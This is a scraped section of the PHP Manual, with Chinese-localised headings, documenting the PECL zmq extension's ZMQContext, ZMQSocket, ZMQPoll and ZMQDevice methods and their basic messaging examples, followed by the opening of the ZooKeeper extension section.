ZMQ::SOCKET_* constant to specify socket type.

persistent_id

If persistent_id is specified the socket will be persisted over multiple requests.

on_new_socket

Callback function, which is executed when a new socket structure is created. This function does not get invoked if the underlying persistent connection is re-used. The callback takes ZMQSocket and persistent_id as two arguments.

返回值

Returns a ZMQSocket object.

错误／异常

Throws ZMQSocketException on error.

示例

Example #1 A ZMQContext() example

Basic usage

<?php
/* Allocate a new context */
$context = new ZMQContext();

/* Create a new socket */
$socket = $context->getSocket(ZMQ::SOCKET_REQ, 'my sock');

/* Connect the socket */
$socket->connect("tcp://example.com:1234");

/* Send a request */
$socket->send("Hello there");

/* Receive back the response */
$message = $socket->recv();
echo "Received message: {$message}\n";
?>

User Contributed Notes

There are no user contributed notes for this page.


Whether the context is persistent

  • ? ZMQContext::getSocket
  • ZMQContext::setOpt ?
  • PHP Manual
  • ZMQContext
  • Whether the context is persistent

ZMQContext::isPersistent

(PECL zmq >= 0.5.0)

ZMQContext::isPersistent — Whether the context is persistent

说明

public ZMQContext::isPersistent(): bool

Whether the context is persistent. Persistent context is needed for persistent connections as each socket is allocated from a context.

参数

此函数没有参数。

返回值

Returns true if the context is persistent and false if the context is non-persistent.

User Contributed Notes

There are no user contributed notes for this page.


Set a socket option

  • ? ZMQContext::isPersistent
  • ZMQSocket ?
  • PHP Manual
  • ZMQContext
  • Set a socket option

ZMQContext::setOpt

(PECL zmq >= 1.0.4)

ZMQContext::setOpt — Set a socket option

说明

public ZMQContext::setOpt(int $key, mixed $value): ZMQContext

Sets a ZMQ context option. The type of the value depends on the key. See ZMQ Constant Types for more information.

参数

key

One of the ZMQ::CTXOPT_* constants.

value

The value of the parameter.

返回值

Returns the current object. Throws ZMQContextException on error.

User Contributed Notes

There are no user contributed notes for this page.


The ZMQSocket class

(PECL zmq >= 0.5.0)

简介

类摘要

class ZMQSocket {
/* 方法 */
public bind(string $dsn, bool $force = false): ZMQSocket
public connect(string $dsn, bool $force = false): ZMQSocket
public __construct(
ZMQContext $context,
int $type,
string $persistent_id = null,
callable $on_new_socket = null
)
public disconnect(string $dsn): ZMQSocket
public getEndpoints(): array
public getPersistentId(): string
public getSocketType(): int
public getSockOpt(string $key): mixed
public isPersistent(): bool
public recv(int $mode = 0): string
public recvMulti(int $mode = 0): array
public send(string $message, int $mode = 0): ZMQSocket
public sendmulti(array $message, int $mode = 0): ZMQSocket
public setSockOpt(int $key, mixed $value): ZMQSocket
public unbind(string $dsn): ZMQSocket
}

Table of Contents

  • ZMQSocket::bind — Bind the socket
  • ZMQSocket::connect — Connect the socket
  • ZMQSocket::__construct — Construct a new ZMQSocket
  • ZMQSocket::disconnect — Disconnect a socket
  • ZMQSocket::getEndpoints — Get list of endpoints
  • ZMQSocket::getPersistentId — Get the persistent id
  • ZMQSocket::getSocketType — Get the socket type
  • ZMQSocket::getSockOpt — Get socket option
  • ZMQSocket::isPersistent — Whether the socket is persistent
  • ZMQSocket::recv — Receives a message
  • ZMQSocket::recvMulti — Receives a multipart message
  • ZMQSocket::send — Sends a message
  • ZMQSocket::sendmulti — Sends a multipart message
  • ZMQSocket::setSockOpt — Set a socket option
  • ZMQSocket::unbind — Unbind the socket

User Contributed Notes

There are no user contributed notes for this page.


Bind the socket

  • ? ZMQSocket
  • ZMQSocket::connect ?
  • PHP Manual
  • ZMQSocket
  • Bind the socket

ZMQSocket::bind

(PECL zmq >= 0.5.0)

ZMQSocket::bind — Bind the socket

说明

public ZMQSocket::bind(string $dsn, bool $force = false): ZMQSocket

Bind the socket to an endpoint. The endpoint is defined in format transport://address where transport is one of the following: inproc, ipc, tcp, pgm or epgm.

参数

dsn

The bind dsn, for example transport://address.

force

Tries to bind even if the socket has already been bound to the given endpoint.

返回值

Returns the current object. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Connect the socket

  • ? ZMQSocket::bind
  • ZMQSocket::__construct ?
  • PHP Manual
  • ZMQSocket
  • Connect the socket

ZMQSocket::connect

(PECL zmq >= 0.5.0)

ZMQSocket::connect — Connect the socket

说明

public ZMQSocket::connect(string $dsn, bool $force = false): ZMQSocket

Connect the socket to a remote endpoint. The endpoint is defined in format transport://address where transport is one of the following: inproc, ipc, tcp, pgm or epgm.

参数

dsn

The connect dsn, for example transport://address.

force

Tries to connect even if the socket has already been connected to given endpoint.

返回值

Returns the current object.

错误／异常

Throws ZMQSocketException on error.

示例

Example #1 A ZMQContext() example

Construct a new context and allocate request socket from it

<?php
/* Server hostname */
$dsn = "tcp://127.0.0.1:5555";

/* Create a socket */
$socket = new ZMQSocket(new ZMQContext(), ZMQ::SOCKET_REQ, 'my socket');

/* Get list of connected endpoints */
$endpoints = $socket->getEndpoints();

/* Check if the socket is connected */
if (!in_array($dsn, $endpoints['connect'])) {
echo "<p>Connecting to $dsn</p>";
$socket->connect($dsn);
} else {
echo "<p>Already connected to $dsn</p>";
}

/* Send and receive */
$socket->send("Hello!");
$message = $socket->recv();

echo "<p>Server said: {$message}</p>";
?>

User Contributed Notes

There are no user contributed notes for this page.


Construct a new ZMQSocket

  • ? ZMQSocket::connect
  • ZMQSocket::disconnect ?
  • PHP Manual
  • ZMQSocket
  • Construct a new ZMQSocket

ZMQSocket::__construct

(PECL zmq >= 0.5.0)

ZMQSocket::__construct — Construct a new ZMQSocket

说明

public ZMQSocket::__construct(
ZMQContext $context,
int $type,
string $persistent_id = null,
callable $on_new_socket = null
)

Constructs a ZMQSocket object. persistent_id parameter can be used to allocated a persistent socket. A persistent socket has to be allocated from a persistent context and it stays connected over multiple requests. The persistent_id parameter can be used to recall the same socket over multiple requests. The on_new_socket is called only when a new underlying socket structure is created.

参数

context

ZMQContext object.

type

The socket type. See ZMQ::SOCKET_* constants.

persistent_id

If persistent_id is specified the socket will be persisted over multiple requests. If context is not persistent the socket falls back to non-persistent mode.

on_new_socket

Callback function, which is executed when a new socket structure is created. This function does not get invoked if the underlying persistent connection is re-used.

callback(ZMQSocket $socket, string $persistent_id = null)

错误／异常

Throws ZMQSocketException on error.

示例

Example #1 A ZMQSocket() example

Using callback the bind/connect socket

<?php

/*
The socket is persistent so this function is called only on the
first request to the script.
*/
function on_new_socket_cb(ZMQSocket $socket, $persistent_id = null)
{
if ($persistent_id === 'server') {
$socket->bind("tcp://localhost:12122");
} else {
$socket->connect("tcp://localhost:12122");
}
}

/* Allocate a new context */
$context = new ZMQContext();

/* Create a new socket */
$socket = $context->getSocket(ZMQ::SOCKET_REP, 'server', 'on_new_socket_cb');

$message = $socket->recv();
echo "Received message: {$message}\n";
?>

User Contributed Notes

There are no user contributed notes for this page.


Disconnect a socket

  • ? ZMQSocket::__construct
  • ZMQSocket::getEndpoints ?
  • PHP Manual
  • ZMQSocket
  • Disconnect a socket

ZMQSocket::disconnect

(PECL zmq >= 1.0.4)

ZMQSocket::disconnect — Disconnect a socket

说明

public ZMQSocket::disconnect(string $dsn): ZMQSocket

Disconnect the socket from a previously connected remote endpoint. The endpoint is defined in format transport://address where transport is one of the following: inproc, ipc, tcp, pgm or epgm.

参数

dsn

The connect dsn, for example transport://address.

返回值

Returns the current object. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get list of endpoints

  • ? ZMQSocket::disconnect
  • ZMQSocket::getPersistentId ?
  • PHP Manual
  • ZMQSocket
  • Get list of endpoints

ZMQSocket::getEndpoints

(PECL zmq >= 0.5.0)

ZMQSocket::getEndpoints — Get list of endpoints

说明

public ZMQSocket::getEndpoints(): array

Returns a list of endpoints where the socket is connected or bound to.

参数

此函数没有参数。

返回值

Returns an array containing elements 'bind' and 'connect'.

User Contributed Notes

There are no user contributed notes for this page.


Get the persistent id

  • ? ZMQSocket::getEndpoints
  • ZMQSocket::getSocketType ?
  • PHP Manual
  • ZMQSocket
  • Get the persistent id

ZMQSocket::getPersistentId

(PECL zmq >= 0.5.0)

ZMQSocket::getPersistentId — Get the persistent id

说明

public ZMQSocket::getPersistentId(): string

Returns the persistent id of the socket.

参数

此函数没有参数。

返回值

Returns the persistent id string assigned of the object and null if socket is not persistent.

User Contributed Notes

There are no user contributed notes for this page.


Get the socket type

  • ? ZMQSocket::getPersistentId
  • ZMQSocket::getSockOpt ?
  • PHP Manual
  • ZMQSocket
  • Get the socket type

ZMQSocket::getSocketType

(PECL zmq >= 0.5.0)

ZMQSocket::getSocketType — Get the socket type

说明

public ZMQSocket::getSocketType(): int

Gets the socket type.

参数

此函数没有参数。

返回值

Returns an integer representing the socket type. The integer can be compared against ZMQ::SOCKET_* constants.

User Contributed Notes

There are no user contributed notes for this page.


Get socket option

  • ? ZMQSocket::getSocketType
  • ZMQSocket::isPersistent ?
  • PHP Manual
  • ZMQSocket
  • Get socket option

ZMQSocket::getSockOpt

(PECL zmq >= 0.5.0)

ZMQSocket::getSockOpt — Get socket option

说明

public ZMQSocket::getSockOpt(string $key): mixed

Returns the value of a socket option.

参数

key

An integer representing the option. See the ZMQ::SOCKOPT_* constants.

返回值

Returns either a string or an int depending on key. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Whether the socket is persistent

  • ? ZMQSocket::getSockOpt
  • ZMQSocket::recv ?
  • PHP Manual
  • ZMQSocket
  • Whether the socket is persistent

ZMQSocket::isPersistent

(PECL zmq >= 0.5.0)

ZMQSocket::isPersistent — Whether the socket is persistent

说明

public ZMQSocket::isPersistent(): bool

Check whether the socket is persistent.

参数

此函数没有参数。

返回值

Returns a bool based on whether the socket is persistent or not.

User Contributed Notes

There are no user contributed notes for this page.


Receives a message

  • ? ZMQSocket::isPersistent
  • ZMQSocket::recvMulti ?
  • PHP Manual
  • ZMQSocket
  • Receives a message

ZMQSocket::recv

(PECL zmq >= 0.5.0)

ZMQSocket::recv — Receives a message

说明

public ZMQSocket::recv(int $mode = 0): string

Receive a message from a socket. By default receiving will block until a message is available unless ZMQ::MODE_DONTWAIT flag is used. ZMQ::SOCKOPT_RCVMORE socket option can be used for receiving multi-part messages. See ZMQSocket::setSockOpt() for more information.

参数

mode

Pass mode flags to receive multipart messages or non-blocking operation. See ZMQ::MODE_* constants.

返回值

Returns the message. If ZMQ::MODE_DONTWAIT is used and the operation would block false shall be returned.

错误／异常

Throws ZMQSocketException on error.

示例

Example #1 A send/recv example

Non-blocking send / receive

<?php

/* Create new queue object, there needs to be a server at the other end */
$queue = new ZMQSocket(new ZMQContext(), ZMQ::SOCKET_REQ);
$queue->connect("tcp://127.0.0.1:5555");

/* Assign socket 1 to the queue, send and receive */
$retries = 5;
$sending = true;

/* Start a loop */
do {
try {
/* Try to send / receive */
if ($sending) {
echo "Sending message\n";
$queue->send("This is a message", ZMQ::MODE_DONTWAIT);
$sending = false;
} else {
echo "Got response: " . $queue->recv(ZMQ::MODE_DONTWAIT) . "\n";
break;
}
} catch (ZMQSocketException $e) {
/* EAGAIN means that the operation would have blocked, retry */
if ($e->getCode() === ZMQ::ERR_EAGAIN) {
echo " - Got EAGAIN, retrying ($retries)\n";
} else {
die(" - Error: " . $e->getMessage());
}
}
/* Sleep a bit between operations */
usleep(5);
} while (--$retries);
?>

以上示例的输出类似于：

Sending message
 - Unable to execute operation, retrying (4)
Got response: This is a message

User Contributed Notes

There are no user contributed notes for this page.


Receives a multipart message

  • ? ZMQSocket::recv
  • ZMQSocket::send ?
  • PHP Manual
  • ZMQSocket
  • Receives a multipart message

ZMQSocket::recvMulti

(PECL zmq >= 0.8.0)

ZMQSocket::recvMulti — Receives a multipart message

说明

public ZMQSocket::recvMulti(int $mode = 0): array

Receive an array multipart message from a socket. By default receiving will block until a message is available unless ZMQ::MODE_NOBLOCK flag is used.

参数

mode

Pass mode flags to receive multipart messages or non-blocking operation. See ZMQ::MODE_* constants.

返回值

Returns the array of message parts. Throws ZMQSocketException in error. If ZMQ::MODE_NOBLOCK is used and the operation would block bool false shall be returned.

User Contributed Notes

There are no user contributed notes for this page.


Sends a message

  • ? ZMQSocket::recvMulti
  • ZMQSocket::sendmulti ?
  • PHP Manual
  • ZMQSocket
  • Sends a message

ZMQSocket::send

(PECL zmq >= 0.5.0)

ZMQSocket::send — Sends a message

说明

public ZMQSocket::send(string $message, int $mode = 0): ZMQSocket

Send a message using the socket. The operation can block unless ZMQ::MODE_NOBLOCK is used.

参数

message

The message to send.

mode

Pass mode flags to receive multipart messages or non-blocking operation. See ZMQ::MODE_* constants.

返回值

Returns the current object. Throws ZMQSocketException on error. If ZMQ::MODE_NOBLOCK is used and the operation would block bool false shall be returned.

User Contributed Notes

There are no user contributed notes for this page.


Sends a multipart message

  • ? ZMQSocket::send
  • ZMQSocket::setSockOpt ?
  • PHP Manual
  • ZMQSocket
  • Sends a multipart message

ZMQSocket::sendmulti

(PECL zmq >= 0.8.0)

ZMQSocket::sendmulti — Sends a multipart message

说明

public ZMQSocket::sendmulti(array $message, int $mode = 0): ZMQSocket

Send a multipart message using the socket. The operation can block unless ZMQ::MODE_NOBLOCK is used.

参数

message

The message to send - an array of strings

mode

Pass mode flags to receive multipart messages or non-blocking operation. See ZMQ::MODE_* constants.

返回值

Returns the current object. Throws ZMQSocketException on error. If ZMQ::MODE_NOBLOCK is used and the operation would block bool false shall be returned.

User Contributed Notes

There are no user contributed notes for this page.


Set a socket option

  • ? ZMQSocket::sendmulti
  • ZMQSocket::unbind ?
  • PHP Manual
  • ZMQSocket
  • Set a socket option

ZMQSocket::setSockOpt

(PECL zmq >= 0.5.0)

ZMQSocket::setSockOpt — Set a socket option

说明

public ZMQSocket::setSockOpt(int $key, mixed $value): ZMQSocket

Sets a ZMQ socket option. The type of the value depends on the key. See ZMQ Constant Types for more information.

参数

key

One of the ZMQ::SOCKOPT_* constants.

value

The value of the parameter.

返回值

Returns the current object. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Unbind the socket

  • ? ZMQSocket::setSockOpt
  • ZMQPoll ?
  • PHP Manual
  • ZMQSocket
  • Unbind the socket

ZMQSocket::unbind

(PECL zmq >= 1.0.4)

ZMQSocket::unbind — Unbind the socket

说明

public ZMQSocket::unbind(string $dsn): ZMQSocket

Unbind the socket from an endpoint. The endpoint is defined in format transport://address where transport is one of the following: inproc, ipc, tcp, pgm or epgm.

参数

dsn

The previously bound dsn, for example transport://address.

返回值

Returns the current object. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


The ZMQPoll class

(PECL zmq >= 0.5.0)

简介

类摘要

class ZMQPoll {
/* 方法 */
public add(mixed $entry, int $type): string
public clear(): ZMQPoll
public count(): int
public getLastErrors(): array
public poll(array &$readable, array &$writable, int $timeout = -1): int
public remove(mixed $item): bool
}

Table of Contents

  • ZMQPoll::add — Add item to the poll set
  • ZMQPoll::clear — Clear the poll set
  • ZMQPoll::count — Count items in the poll set
  • ZMQPoll::getLastErrors — Get poll errors
  • ZMQPoll::poll — Poll the items
  • ZMQPoll::remove — Remove item from poll set

User Contributed Notes

There are no user contributed notes for this page.


Add item to the poll set

  • ? ZMQPoll
  • ZMQPoll::clear ?
  • PHP Manual
  • ZMQPoll
  • Add item to the poll set

ZMQPoll::add

(PECL zmq >= 0.5.0)

ZMQPoll::add — Add item to the poll set

说明

public ZMQPoll::add(mixed $entry, int $type): string

Adds a new item to the poll set and returns the internal id of the added item. The item can be removed from the poll set using the returned string id.

参数

entry

ZMQSocket object or a PHP stream resource

type

Defines what activity the socket is polled for. See ZMQ::POLL_IN and ZMQ::POLL_OUT constants.

返回值

Returns a string id of the added item which can be later used to remove the item. Throws ZMQPollException on error.

User Contributed Notes

There are no user contributed notes for this page.


Clear the poll set

  • ? ZMQPoll::add
  • ZMQPoll::count ?
  • PHP Manual
  • ZMQPoll
  • Clear the poll set

ZMQPoll::clear

(PECL zmq >= 0.5.0)

ZMQPoll::clear — Clear the poll set

说明

public ZMQPoll::clear(): ZMQPoll

Clears all elements from the poll set.

参数

此函数没有参数。

返回值

Returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


Count items in the poll set

  • ? ZMQPoll::clear
  • ZMQPoll::getLastErrors ?
  • PHP Manual
  • ZMQPoll
  • Count items in the poll set

ZMQPoll::count

(PECL zmq >= 0.5.0)

ZMQPoll::count — Count items in the poll set

说明

public ZMQPoll::count(): int

Count the items in the poll set.

参数

此函数没有参数。

返回值

Returns an int representing the amount of items in the poll set.

User Contributed Notes

There are no user contributed notes for this page.


Get poll errors

  • ? ZMQPoll::count
  • ZMQPoll::poll ?
  • PHP Manual
  • ZMQPoll
  • Get poll errors

ZMQPoll::getLastErrors

(PECL zmq >= 0.5.0)

ZMQPoll::getLastErrors — Get poll errors

说明

public ZMQPoll::getLastErrors(): array

Returns the ids of the objects that had errors in the last poll.

参数

此函数没有参数。

返回值

Returns an array containing ids for the items that had errors in the last poll. Empty array is returned if there were no errors.

User Contributed Notes

There are no user contributed notes for this page.


Poll the items

  • ? ZMQPoll::getLastErrors
  • ZMQPoll::remove ?
  • PHP Manual
  • ZMQPoll
  • Poll the items

ZMQPoll::poll

(PECL zmq >= 0.5.0)

ZMQPoll::poll — Poll the items

说明

public ZMQPoll::poll(array &$readable, array &$writable, int $timeout = -1): int

Polls the items in the current poll set. The readable and writable items are returned in the readable and writable parameters. ZMQPoll::getLastErrors() can be used to check if there were errors.

参数

readable

Array where readable ZMQSockets/PHP streams are returned. The array will be cleared at the beginning of the operation.

writable

Array where writable ZMQSockets/PHP streams are returned. The array will be cleared at the beginning of the operation.

timeout

Timeout for the operation. -1 means that poll waits until at least one item has activity. Please note that starting from version 1.0.0 the poll timeout is defined in milliseconds, rather than microseconds.

返回值

Returns an integer representing the amount of items with activity.

错误／异常

Throws ZMQPollException on error.

示例

Example #1 A ZMQPoll() example

Create a simple poll server

<?php

/* Create socket, request-reply pattern (reply socket) */
$context = new ZMQContext();
$server = $context->getSocket(ZMQ::SOCKET_REP);

/* Bind to port 5555 on 127.0.0.1 */
$server->bind("tcp://127.0.0.1:5555");

/* Create new pollset for incoming/outgoing message */
$poll = new ZMQPoll();

/* Add the object and listen for poll in/out */
$id = $poll->add($server, ZMQ::POLL_IN | ZMQ::POLL_OUT);
echo "Added object with id " . $id . "\n";

/* Initialise readable and writable arrays */
$readable = array();
$writable = array();

while (true) {
/* Amount of events retrieved */
$events = 0;

try {
/* Poll until there is something to do */
$events = $poll->poll($readable, $writable, -1);
$errors = $poll->getLastErrors();

if (count($errors) > 0) {
foreach ($errors as $error) {
echo "Error polling object " . $error . "\n";
}
}
} catch (ZMQPollException $e) {
echo "poll failed: " . $e->getMessage() . "\n";
}

if ($events > 0) {
/* Loop through readable objects and recv messages */
foreach ($readable as $r) {
try {
echo "Received message: " . $r->recv() . "\n";
} catch (ZMQException $e) {
echo "recv failed: " . $e->getMessage() . "\n";
}
}

/* Loop through writable and send back messages */
foreach ($writable as $w) {
try {
$w->send("Got it!");
} catch (ZMQException $e) {
echo "send failed: " . $e->getMessage() . "\n";
}
}
}
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Remove item from poll set

  • ? ZMQPoll::poll
  • ZMQDevice ?
  • PHP Manual
  • ZMQPoll
  • Remove item from poll set

ZMQPoll::remove

(PECL zmq >= 0.5.0)

ZMQPoll::remove — Remove item from poll set

说明

public ZMQPoll::remove(mixed $item): bool

Remove item from the poll set. The item parameter can be ZMQSocket object, a stream resource or the id returned from ZMQPoll::add() method.

参数

item

The ZMQSocket object, PHP stream or string id of the item.

返回值

Returns true if the item was removed and false if the object with given id does not exist in the poll set.

User Contributed Notes

There are no user contributed notes for this page.


The ZMQDevice class

(PECL zmq >= 0.5.0)

简介

类摘要

class ZMQDevice {
/* 方法 */
public __construct(ZMQSocket $frontend, ZMQSocket $backend, ZMQSocket $listener = ?)
public getIdleTimeout(): ZMQDevice
public getTimerTimeout(): ZMQDevice
public run(): void
public setIdleCallback(callable $cb_func, int $timeout, mixed $user_data = ?): ZMQDevice
public setIdleTimeout(int $timeout): ZMQDevice
public setTimerCallback(callable $cb_func, int $timeout, mixed $user_data = ?): ZMQDevice
public setTimerTimeout(int $timeout): ZMQDevice
}

Table of Contents

  • ZMQDevice::__construct — Construct a new device
  • ZMQDevice::getIdleTimeout — Get the idle timeout
  • ZMQDevice::getTimerTimeout — Get the timer timeout
  • ZMQDevice::run — Run the new device
  • ZMQDevice::setIdleCallback — Set the idle callback function
  • ZMQDevice::setIdleTimeout — Set the idle timeout
  • ZMQDevice::setTimerCallback — Set the timer callback function
  • ZMQDevice::setTimerTimeout — Set the timer timeout

User Contributed Notes

There are no user contributed notes for this page.


Construct a new device

  • ? ZMQDevice
  • ZMQDevice::getIdleTimeout ?
  • PHP Manual
  • ZMQDevice
  • Construct a new device

ZMQDevice::__construct

(PECL zmq >= 0.5.0)

ZMQDevice::__construct — Construct a new device

说明

public ZMQDevice::__construct(ZMQSocket $frontend, ZMQSocket $backend, ZMQSocket $listener = ?)

"?MQ devices can do intermediation of addresses, services, queues, or any other abstraction you care to define above the message and socket layers." -- zguide

参数

frontend

Frontend parameter for the devices. Usually where there messages are coming.

backend

Backend parameter for the devices. Usually where there messages going to.

listener

Listener socket, which receives a copy of all messages going both directions. The type of this socket should be SUB, PULL or DEALER.

返回值

Call to this method will prepare the device. Usually devices are very long running processes so running this method from interactive script is not recommended. This method throw ZMQDeviceException if the device cannot be started.

User Contributed Notes

There are no user contributed notes for this page.


Get the idle timeout

  • ? ZMQDevice::__construct
  • ZMQDevice::getTimerTimeout ?
  • PHP Manual
  • ZMQDevice
  • Get the idle timeout

ZMQDevice::getIdleTimeout

(No version information available, might only be in Git)

ZMQDevice::getIdleTimeout — Get the idle timeout

说明

public ZMQDevice::getIdleTimeout(): ZMQDevice

Gets the idle callback timeout value. Added in ZMQ extension version 1.1.0.

参数

此函数没有参数。

返回值

This method returns the idle callback timeout value.

User Contributed Notes

There are no user contributed notes for this page.


Get the timer timeout

  • ? ZMQDevice::getIdleTimeout
  • ZMQDevice::run ?
  • PHP Manual
  • ZMQDevice
  • Get the timer timeout

ZMQDevice::getTimerTimeout

(No version information available, might only be in Git)

ZMQDevice::getTimerTimeout — Get the timer timeout

说明

public ZMQDevice::getTimerTimeout(): ZMQDevice

Gets the timer callback timeout value. Added in ZMQ extension version 1.1.0.

参数

此函数没有参数。

返回值

This method returns the timer timeout value.

User Contributed Notes

There are no user contributed notes for this page.


Run the new device

  • ? ZMQDevice::getTimerTimeout
  • ZMQDevice::setIdleCallback ?
  • PHP Manual
  • ZMQDevice
  • Run the new device

ZMQDevice::run

(No version information available, might only be in Git)

ZMQDevice::run — Run the new device

说明

public ZMQDevice::run(): void

Runs the device.

参数

此函数没有参数。

返回值

Call to this method will block until the device is running. It is not recommended that devices are used from interactive scripts. On failure this method will throw ZMQDeviceException.

User Contributed Notes

There are no user contributed notes for this page.


Set the idle callback function

  • ? ZMQDevice::run
  • ZMQDevice::setIdleTimeout ?
  • PHP Manual
  • ZMQDevice
  • Set the idle callback function

ZMQDevice::setIdleCallback

(No version information available, might only be in Git)

ZMQDevice::setIdleCallback — Set the idle callback function

说明

public ZMQDevice::setIdleCallback(callable $cb_func, int $timeout, mixed $user_data = ?): ZMQDevice

Sets the idle callback function. If idle timeout is defined the idle callback function shall be called if the internal poll loop times out without events. If the callback function returns false or a value that evaluates to false the device is stopped. The callback function signature is callback (mixed $user_data).

参数

cb_func

Callback function to invoke when the device is idle. Returning false or a value that evaluates to false from this function will cause the device to stop.

timeout

How often to invoke the idle callback in milliseconds. The idle callback is invoked periodically when there is no activity on the device. The timeout value guarantees that there is at least this amount of milliseconds between invocations of the callback function.

user_data

Additional data to pass to the callback function.

返回值

On success this method returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


Set the idle timeout

  • ? ZMQDevice::setIdleCallback
  • ZMQDevice::setTimerCallback ?
  • PHP Manual
  • ZMQDevice
  • Set the idle timeout

ZMQDevice::setIdleTimeout

(No version information available, might only be in Git)

ZMQDevice::setIdleTimeout — Set the idle timeout

说明

public ZMQDevice::setIdleTimeout(int $timeout): ZMQDevice

Sets the idle callback timeout value. The idle callback is invoked periodically when the device is idle.

参数

timeout

The idle callback timeout value.

返回值

On success this method returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


Set the timer callback function

  • ? ZMQDevice::setIdleTimeout
  • ZMQDevice::setTimerTimeout ?
  • PHP Manual
  • ZMQDevice
  • Set the timer callback function

ZMQDevice::setTimerCallback

(No version information available, might only be in Git)

ZMQDevice::setTimerCallback — Set the timer callback function

说明

public ZMQDevice::setTimerCallback(callable $cb_func, int $timeout, mixed $user_data = ?): ZMQDevice

Sets the timer callback function. The timer callback will be invoked after timeout has passed. The difference between idle and timer callbacks are that idle callback is invoked only when the device is idle. The callback function signature is callback (mixed $user_data). Added in ZMQ extension version 1.1.0.

参数

cb_func

Callback function to invoke when the device is idle. Returning false or a value that evaluates to false from this function will cause the device to stop.

timeout

How often to invoke the idle callback in milliseconds. The idle callback is invoked periodically when there is no activity on the device. The timeout value guarantees that there is at least this amount of milliseconds between invocations of the callback function.

user_data

Additional data to pass to the callback function.

返回值

On success this method returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


Set the timer timeout

  • ? ZMQDevice::setTimerCallback
  • ZooKeeper ?
  • PHP Manual
  • ZMQDevice
  • Set the timer timeout

ZMQDevice::setTimerTimeout

(No version information available, might only be in Git)

ZMQDevice::setTimerTimeout — Set the timer timeout

说明

public ZMQDevice::setTimerTimeout(int $timeout): ZMQDevice

Sets the timer callback timeout value. The timer callback is invoked periodically if it's set. Added in ZMQ extension version 1.1.0.

参数

timeout

The timer callback timeout value.

返回值

On success this method returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


ZooKeeper

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • ZooKeeper 函数
    • zookeeper_dispatch — Calls callbacks for pending operations
  • Zookeeper — The Zookeeper class
    • Zookeeper::addAuth — Specify application credentials
    • Zookeeper::close — Close the zookeeper handle and free up any resources
    • Zookeeper::connect — Create a handle to used communicate with zookeeper
    • Zookeeper::__construct — Create a handle to used communicate with zookeeper
    • Zookeeper::create — Create a node synchronously
    • Zookeeper::delete — Delete a node in zookeeper synchronously
    • Zookeeper::exists — Checks the existence of a node in zookeeper synchronously
    • Zookeeper::get — Gets the data associated with a node synchronously
    • Zookeeper::getAcl — Gets the acl associated with a node synchronously
    • Zookeeper::getChildren — Lists the children of a node synchronously
    • Zookeeper::getClientId — Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)
    • Zookeeper::getConfig — Get instance of ZookeeperConfig
    • Zookeeper::getRecvTimeout — Return the timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE). This value may change after a server re-connect
    • Zookeeper::getState — Get the state of the zookeeper connection
    • Zookeeper::isRecoverable — Checks if the current zookeeper connection state can be recovered
    • Zookeeper::set — Sets the data associated with a node
    • Zookeeper::setAcl — Sets the acl associated with a node synchronously
    • Zookeeper::setDebugLevel — Sets the debugging level for the library
    • Zookeeper::setDeterministicConnOrder — Enable/disable quorum endpoint order randomization
    • Zookeeper::setLogStream — Sets the stream to be used by the library for logging
    • Zookeeper::setWatcher — Set a watcher function
  • ZookeeperConfig — The ZookeeperConfig class
    • ZookeeperConfig::add — Add servers to the ensemble
    • ZookeeperConfig::get — Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously
    • ZookeeperConfig::remove — Remove servers from the ensemble
    • ZookeeperConfig::set — Change ZK cluster ensemble membership and roles of ensemble peers
  • ZookeeperException — The ZookeeperException class
  • ZookeeperAuthenticationException — The ZookeeperAuthenticationException class
  • ZookeeperConnectionException — The ZookeeperConnectionException class
  • ZookeeperMarshallingException — The ZookeeperMarshallingException class
  • ZookeeperNoNodeException — The ZookeeperNoNodeException class
  • ZookeeperOperationTimeoutException — The ZookeeperOperationTimeoutException class
  • ZookeeperSessionException — The ZookeeperSessionException class

User Contributed Notes

There are no user contributed notes for this page.


简介

This extension uses libzookeeper library to provide API for communicating with ZooKeeper service.

ZooKeeper is an Apache project that enables centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.

User Contributed Notes

There are no user contributed notes for this page.


需求

This extension requires » ZooKeeper C Binding (version 3.4.1 or greater). For more information, see » ZooKeeper Programmer's Guide.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/zookeeper.

To enable zookeeper support, configure with --with-libzookeeper-dir=DIR. DIR is the install prefix of ZooKeeper C Binding, which must contain the include/zookeeper/zookeeper.h

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Zookeeper 配置选项
名字 | 默认 | 可修改范围 | Changelog
zookeeper.recv_timeout | 10000 | PHP_INI_ALL |
zookeeper.session_lock | 1 | PHP_INI_SYSTEM |
zookeeper.sess_lock_wait | 150000 | PHP_INI_ALL |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

zookeeper.recv_timeout int

Default the timeout for any ZooKeeper session.

zookeeper.session_lock int

Enable PHP session locking.

zookeeper.sess_lock_wait int

PHP Session spin lock retry wait time in microseconds. Be carefull when setting this value. Valid values are integers, where 0 is interpreted as the default value. Negative values result in a reduces locking to a try lock.

User Contributed Notes

There are no user contributed notes for this page.


ZooKeeper 函数

Table of Contents

  • zookeeper_dispatch — Calls callbacks for pending operations

User Contributed Notes

There are no user contributed notes for this page.


Calls callbacks for pending operations

  • ? ZooKeeper 函数
